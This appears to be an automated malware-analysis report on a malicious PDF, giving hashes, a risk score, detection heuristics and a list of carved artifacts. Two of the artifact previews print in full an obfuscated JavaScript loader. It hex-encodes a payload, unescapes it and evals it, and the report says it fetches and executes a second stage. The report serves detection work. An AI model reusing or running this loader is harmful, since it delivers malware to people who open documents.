Malicious PDF — malware analysis report

Static analysis result for SHA-256 c8035bbec2720abf…

MALICIOUS

PDF

45.8 KB First seen: 2026-05-10
MD5: 29b728690cc81121073d2471d280445e SHA-1: 3fc2f952c192c9f57577c5232739d7db082114c9 SHA-256: c8035bbec2720abfa2bff37dffc9e1c8d1eb7f21c339d965f4f411d5ff1812f1
98 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings related to PDF JavaScript and XFA forms. The extracted JavaScript files, 'javascript_obj0012_000.js' and 'legacy_pdfkit_stage_000.js', are suspicious and likely contain obfuscated code. The primary function of this embedded script appears to be downloading and executing a second-stage payload, a common technique for malware delivery. Due to the obfuscation and lack of specific indicators for a known family, the family is classified as unknown.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 6

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.bitstream.com Referenced by PDF JavaScript
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/2.6/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0xA0BD 4861 bytes
SHA-256: 9d9d74e4fe1c6c5277158f863d5228a7a35d17414586c0c4a8a3d641e7812b48
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var eva=new Function("a","e   v       a     l        (a);".split(" ").join(""));
       var s='2a806b7c2a7e5f2a472a7f786f7d6d6b7a6f452a806b7c2a536e525c2a472a7e5f322a2c2f7f3e3b3e3b2f7f3e3b3e3b2f7f403d6b3f2f7f3e6b423a2f7f3a3a3a3a2f7f3e6b426b2f7f3c3b43402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d6d2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c3c6d422f7f3e6b423f2f7f3a3a3a3a2f7f3b3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3c2f7f3a3a3a3a2f7f3a3b3a3c2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a422f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d422f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f707070702f7f707070702f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3e3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3b2f7f3a3a3a3a2f7f3a3a3a3a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a422f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d3a2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f707070702f7f707070702f7f3a3a3c3c2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3b2f7f403d6b3f2f7f3e6b423a2f7f3a3a3a3e2f7f3e6b426b2f7f3c3b43402f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3d3a2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f3a3a3a3e2f7f3e6b426b2f7f6b416e422f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3c3a2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f6b6f6e6d2f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f3a3a3d3e2f7f3a3a3a3a2f7f6e3f423f2f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a6b2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433b413a2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f707070702f7f707070702f7f707070702f7f707070702f7f707070702f7f707070702f7f3b3a3a3a2f7f3a3a3a3a2f7f3a436c422f7f403c41702f7f6e6c42402f7f3c436e6e2f7f6c3b6d432f7f6e433d3d2f7f3c3e413e2f7f3f6c703e2f7f3e3d3d3b2f7f423d3b3c2f7f3a3e6d3d2f7f3e6b3a3d2f7f423a413b2f7f6c3a413d2f7f6d6e403f2f7f3e42416d2f7f6b6f41402f7f6b6e703f2f7f706d3e412f7f6b40403c2f7f3d3a706b2f7f6f6b6f3a2f7f6c6c70402f7f3b6f6b3e2f7f6d6f426d2f7f3b3b403a2f7f403e3c3f2f7f3b6d3f412f7f3e426c402f7f703c3f412f7f6d6b413e2f7f3a423c6c2f7f3c6d6b432f7f6d3d3b3f2f7f3c6e6c6d2f7f3d433f3c2f7f41703e6f2f7f3d403a6c2f7f433a706e2f7f3a6b3d422f7f433a3d6f2f7f3a3b6f6f2f7f6f6b416f2f7f6e3f426c2f7f3e3a3a6c2f7f3a3f433f2f7f6e706b3d2f7f6c6e6e6e2f7f6c426d702f7f6c6d706e2f7f6e6c3b6d2f7f70416d3c2f7f3c423c432f7f3a406c3a2f7f403a70422f7f3d433d432f7f3c706d3e2f7f70403a3e2f7f3c6f6d432f7f3d3a3e3a2f7f3e3f3d3c2f7f3e3d6c6b2f7f3f6f6d702f7f3d6f41432f7f6f6b3a6c2f7f4342436d2f7f3e6d6e422f7f3b433e3f2f7f3a6b3a6d2f7f3b3f3a6f2f7f3f4270432f7f3d433e422f7f426e706d2f7f3e3f6f3c2f7f3d3a413f2f7f6d6d3c3f2f7f3b416d6e2f7f433f6f3b2f7f3d4043402f7f413d6c3a2f7f3e4041422f7f6e6c6b3c2f7f6f3c3c3f2f7f6d436b422f7f433e3d3c2f7f4241703c2f7f3b3e6d3f2f7f6f6f42432f7f3c406d402f7f3e3a433c2f7f3b416b702f7f3a703b432f7f6b416b422f7f413e6d422f7f6f3c3e402f7f6e6d3f3b2f7f6b6c6d702f7f3f6e3a3d2f7f3e6c433c2f7f6b3b706f2f7f6d706b6c2f7f3f433a6c2f7f6d703e422f7f3f6d41432f7f3f413b3e2f7f3c6d433b2f7f3d3c3a3f2f7f423d433f2f7f3b413c402f7f3e3c70402f7f706c6c3f2f7f6f3b6e412f7f43433d6e2f7f3e3b3c412c2a33452a806b7c2a56564f506c5f2a472a7e5f322a2c2f2c2a352a2c7f2c2a352a2c3a2c2a352a2c6d2c2a352a2c3a2c2a352a2c6d2c2a352a2c2f7f2c2a352a2c3a2c2a352a2c6d2c2a352a2c3a2c2a352a2c6d2c2a33452a817273766f2a3256564f506c5f38766f78717e722a352a3c3a2a352a422a462a403f3f3d40332a56564f506c5f354756564f506c5f452a607a572a472a56564f506c5f387d7f6c7d7e7c737871323a362a323a823a6d3a6d373a823c3e33393c33452a607a572a35472a536e525c452a607a572a35472a56564f506c5f452a607e4e2a472a607a57387d7f6c7d7e7c737871323a362a403f3f3d40393c33452a817273766f32607e4e38766f78717e722a462a3a82423a3a3a3a332a607e4e2a35472a607e4e452a7070504c6e702a472a607e4e387d7f6c7d7e7c737871323a362a3a82423a3a3a3a2a372a323a823b3a3c3a373a823a42332a392a3c33452a806b7c2a545c63522a472a786f812a4b7c7c6b833233452a70797c2a32757756777d473a45757756777d463a823b703a45757756777d3535332a545c635265757756777d67477070504c6e70352c7d2c452a';
    var output = "";
    var szazalek = "";
    eva("s   z  a  z  al  e k=          St  r  ing  .  fr om    C     ha r   Cod e (  3  7 );".split(" ").join("")); 
		//eva("f  o r     ( c v =  0 ; c v < s . l e  n g t h ; c v + = 2 )   o u t p u t  += s z aza le  k + s [ c v ] +  s [ c v + 1 ] ;".split(" ").join(""));
		for(cv=0;cv<s.length ; cv += 2) output+=szazalek+s[cv]+s[cv+1];  
		eva("e    va(  u   ne   sc  a   p   e(  outp   ut   ));".split(" ").join(""));
legacy_pdfkit_stage_000.js deobfuscated-js split-join delimiter stripped JavaScript at offset 0xA0FF 4647 bytes
SHA-256: 426d877addd4bc419d6f0de033d270f0fc63d5c4af71864c7251c844bcff816e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
vareva=newFunction("a","eval(a);".split("").join(""));
vars='2a806b7c2a7e5f2a472a7f786f7d6d6b7a6f452a806b7c2a536e525c2a472a7e5f322a2c2f7f3e3b3e3b2f7f3e3b3e3b2f7f403d6b3f2f7f3e6b423a2f7f3a3a3a3a2f7f3e6b426b2f7f3c3b43402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d6d2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c3c6d422f7f3e6b423f2f7f3a3a3a3a2f7f3b3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3c2f7f3a3a3a3a2f7f3a3b3a3c2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a422f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d422f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f707070702f7f707070702f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3e3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3b2f7f3a3a3a3a2f7f3a3a3a3a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a422f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433a3d3a2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f707070702f7f707070702f7f3a3a3c3c2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3a2f7f3a3a3a3b2f7f403d6b3f2f7f3e6b423a2f7f3a3a3a3e2f7f3e6b426b2f7f3c3b43402f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3d3a2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f3a3a3a3e2f7f3e6b426b2f7f6b416e422f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3c3a2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f6b6f6e6d2f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f3a3a3d3e2f7f3a3a3a3a2f7f6e3f423f2f7f3e6b423a2f7f403d6b3f2f7f3e6b423a2f7f3b3a403e2f7f3e6b423a2f7f3c6e6c3c2f7f3e6b423e2f7f3c6b6c3b2f7f3e6b423a2f7f3a3a3a6b2f7f3a3a3a3a2f7f6b426b402f7f3e6b423a2f7f3b70433a2f7f3e6b423a2f7f433b413a2f7f3e6b423e2f7f6c40433c2f7f3e6b423a2f7f707070702f7f707070702f7f707070702f7f707070702f7f707070702f7f707070702f7f3b3a3a3a2f7f3a3a3a3a2f7f3a436c422f7f403c41702f7f6e6c42402f7f3c436e6e2f7f6c3b6d432f7f6e433d3d2f7f3c3e413e2f7f3f6c703e2f7f3e3d3d3b2f7f423d3b3c2f7f3a3e6d3d2f7f3e6b3a3d2f7f423a413b2f7f6c3a413d2f7f6d6e403f2f7f3e42416d2f7f6b6f41402f7f6b6e703f2f7f706d3e412f7f6b40403c2f7f3d3a706b2f7f6f6b6f3a2f7f6c6c70402f7f3b6f6b3e2f7f6d6f426d2f7f3b3b403a2f7f403e3c3f2f7f3b6d3f412f7f3e426c402f7f703c3f412f7f6d6b413e2f7f3a423c6c2f7f3c6d6b432f7f6d3d3b3f2f7f3c6e6c6d2f7f3d433f3c2f7f41703e6f2f7f3d403a6c2f7f433a706e2f7f3a6b3d422f7f433a3d6f2f7f3a3b6f6f2f7f6f6b416f2f7f6e3f426c2f7f3e3a3a6c2f7f3a3f433f2f7f6e706b3d2f7f6c6e6e6e2f7f6c426d702f7f6c6d706e2f7f6e6c3b6d2f7f70416d3c2f7f3c423c432f7f3a406c3a2f7f403a70422f7f3d433d432f7f3c706d3e2f7f70403a3e2f7f3c6f6d432f7f3d3a3e3a2f7f3e3f3d3c2f7f3e3d6c6b2f7f3f6f6d702f7f3d6f41432f7f6f6b3a6c2f7f4342436d2f7f3e6d6e422f7f3b433e3f2f7f3a6b3a6d2f7f3b3f3a6f2f7f3f4270432f7f3d433e422f7f426e706d2f7f3e3f6f3c2f7f3d3a413f2f7f6d6d3c3f2f7f3b416d6e2f7f433f6f3b2f7f3d4043402f7f413d6c3a2f7f3e4041422f7f6e6c6b3c2f7f6f3c3c3f2f7f6d436b422f7f433e3d3c2f7f4241703c2f7f3b3e6d3f2f7f6f6f42432f7f3c406d402f7f3e3a433c2f7f3b416b702f7f3a703b432f7f6b416b422f7f413e6d422f7f6f3c3e402f7f6e6d3f3b2f7f6b6c6d702f7f3f6e3a3d2f7f3e6c433c2f7f6b3b706f2f7f6d706b6c2f7f3f433a6c2f7f6d703e422f7f3f6d41432f7f3f413b3e2f7f3c6d433b2f7f3d3c3a3f2f7f423d433f2f7f3b413c402f7f3e3c70402f7f706c6c3f2f7f6f3b6e412f7f43433d6e2f7f3e3b3c412c2a33452a806b7c2a56564f506c5f2a472a7e5f322a2c2f2c2a352a2c7f2c2a352a2c3a2c2a352a2c6d2c2a352a2c3a2c2a352a2c6d2c2a352a2c2f7f2c2a352a2c3a2c2a352a2c6d2c2a352a2c3a2c2a352a2c6d2c2a33452a817273766f2a3256564f506c5f38766f78717e722a352a3c3a2a352a422a462a403f3f3d40332a56564f506c5f354756564f506c5f452a607a572a472a56564f506c5f387d7f6c7d7e7c737871323a362a323a823a6d3a6d373a823c3e33393c33452a607a572a35472a536e525c452a607a572a35472a56564f506c5f452a607e4e2a472a607a57387d7f6c7d7e7c737871323a362a403f3f3d40393c33452a817273766f32607e4e38766f78717e722a462a3a82423a3a3a3a332a607e4e2a35472a607e4e452a7070504c6e702a472a607e4e387d7f6c7d7e7c737871323a362a3a82423a3a3a3a2a372a323a823b3a3c3a373a823a42332a392a3c33452a806b7c2a545c63522a472a786f812a4b7c7c6b833233452a70797c2a32757756777d473a45757756777d463a823b703a45757756777d3535332a545c635265757756777d67477070504c6e70352c7d2c452a';
varoutput="";
varszazalek="";
eva("szazalek=String.fromCharCode(37);".split("").join(""));
		//eva("for(cv=0;cv<s.length;cv+=2)output+=szazalek+s[cv]+s[cv+1];".split("").join(""));
		for(cv=0;cv<s.length;cv+=2)output+=szazalek+s[cv]+s[cv+1];
		eva("eva(unescape(output));".split("").join(""));
font_00_sfnt_off0000033c.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x33C 65932 bytes
SHA-256: 00a78342444107d99c6b4ba8510bfb4728e7ce4bf19fe7222e33400a2f4ecfb4

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